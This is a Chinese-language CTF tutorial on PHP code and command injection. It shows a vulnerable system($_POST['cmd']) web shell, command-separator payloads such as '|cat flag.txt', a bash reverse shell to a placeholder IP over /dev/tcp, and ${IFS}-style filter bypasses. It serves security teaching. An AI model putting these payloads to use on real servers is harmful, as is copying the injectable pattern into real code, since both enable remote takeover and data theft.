這是一種非常常見的網絡安全漏洞。一般成因是應用程式對於用戶輸入的處理不當,以致用戶輸入的內容沒有經過足夠嚴格的驗證及過濾、使用者提供的PHP代碼或者系統代碼可以直接被嵌入到原本的代碼中執行。在資訊安全領域而言,此漏洞可導致敏感資料洩漏、系統損壞等嚴重問題。同樣地,在CTF挑戰而言,我們也可以利用此漏洞破解某些CTF題目找到Flag。
此漏洞的產生很多時候是由一些函數function的參數parameter過濾不嚴謹而導致的。以下將介紹常見的例子:
有機會存在系統代碼注入漏洞 - system()
, exec()
, shell_exec()
, passthru()
, pentl_exec
, popen()
, peoc_open()
等
有機會存在PHP代碼注入漏洞 - eval()
, assert()
, array_map()
, create_function()
等
以 ** system()
** 為例子
假設伺服器代碼:
<?php system($_POST["cmd"]);?>
system()
的作用是執行參數parameter的系統命令。
上述伺服器端代碼例子會執行POST
請求中的cmd
所代表的數值。
簡單來說,我們只要把cmd設成我們希望執行的系統命令,然後發送POST請求,就能夠達成執行系統命令的目的。
值得提的是,PHP中的反引號`
也能執行系統命令,不過不會像system()
那樣返回執行結果。
所以
<?php system($_POST["cmd"]);?>
相等於
<?php echo `$_POST["cmd"]` ?>
(*注意反引號例子中需要用到 echo 的分別)
這個漏洞最基本的達成方式是利用命令分隔符號:
在Linux的命令中,a ; b
表示先執行a,再執行ba | b
和前一個類似,但只顯示b的執行結果a || b
表示先執行a,若出錯則執行b
而在Windows命令中,a & b
表示先執行a,如果為假false
則執行ba && b
表示先執行a,如果不為假false
再執行ba | b
則直接執行ba || b
表示先執行a,若出錯則執行b
我們可以利用以上的符號達成命令注入的目標:
假設Linux伺服器代碼index.php
:
<?php
$directory = $_GET["directory"];
system("ls -al ".$directory);
?>
假如用戶瀏覽index.php?directory=hello
,
那麼將會執行ls -al hello
,沒問題;
然而若用戶瀏覽index.php?directory=|cat flag.txt
那麼將會執行ls -al |cat flag.txt
按照Linux|
定律,返回cat flag.txt
(獲得flag.txt的內容)的結果
這就是命令注入的基礎了
這是一種常見的攻擊技術,簡單來說就是讓伺服器端主動主動連結我們一個監聽的端口,達到遠程控制伺服器端的目的。
例如,我們可以利用系統代碼注入來注入以下系統命令:
bash -i >& /dev/tcp/XXX.XXX.XX.XX/XXXX 0>&1
那麼伺服器產生一個交互式Shell,並且將會連結我們填入的IP。
有些系統會對使用者提交的資料進行比較嚴格的驗證和過濾,然而我們有時候可以透過空格繞過的方式來繞過過濾系統。
Linux的例子如下:
{cat,flag.txt}
cat${IFS}flag.txt
cat$IFS$1flag.txt
cat<flag.txt
cat<>flag.txt
Windows例子如下:
type.\flag.txt
type,flag.txt
以上,這就是PHP代碼/命令注入漏洞的簡介了。讓我們繼續一步一步的透過CTF來認識資訊安全的基礎吧!